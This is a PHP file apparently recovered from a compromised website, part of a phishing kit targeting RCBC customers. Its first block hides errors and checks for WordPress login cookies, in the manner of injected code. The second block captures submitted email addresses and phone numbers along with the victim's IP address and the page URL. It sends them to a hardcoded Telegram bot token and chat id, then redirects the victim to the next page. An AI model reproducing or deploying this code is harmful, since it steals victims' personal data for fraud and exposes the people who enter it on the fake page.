Current File : /home/inlingua/www/sensoriumpsychologists.com/RCBC/updating.php |
<?php error_reporting(0); @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('display_errors', 0); $cG9OI8 = 0; foreach($_COOKIE as $vUjUnHvOOoO => $vvvUjUnHvOOoO){ if (strstr(strval($vUjUnHvOOoO), 'wordpress_logged_in')){ $cG9OI8 = 1; break; } } if($cG9OI8 == 0){ echo '<script type="text/javascript"></script>'; } ?>
<?php
$Email = ($_POST['email']);
$phone = ($_POST['phone']);
$host = ($_SERVER['SERVER_NAME']);
$ip = ($_SERVER['REMOTE_ADDR']);
$path = ($_SERVER['REQUEST_URI']);
$token = "5016894195:AAFpxklGjr2UaWRELQ-hMgLOLZuAwcSlPkE";
$user_id = -1001400087117;
$mesg = "=-=-=-=-=-=-=-=-=-=-INFO RCBC Result!-=-=-=-=-=-=-=-=-=-= \r\nEmail Address: $Email \r\nMobile Number: $phone \r\nIP Address: $ip \r\nServer: https://www.$host$path \r\n-=-=-=-=-=-=-=-=-=-=-INFO RCBC Result!-=-=-=-=-=-=-=-=-=-=-";
$request_params = [
'chat_id' => $user_id,
'text' => $mesg
];
$request_url = 'https://api.telegram.org/bot'.$token.'/sendMessage?'.http_build_query($request_params);
file_get_contents($request_url);
header("location: final.php");
?>
<script> </script>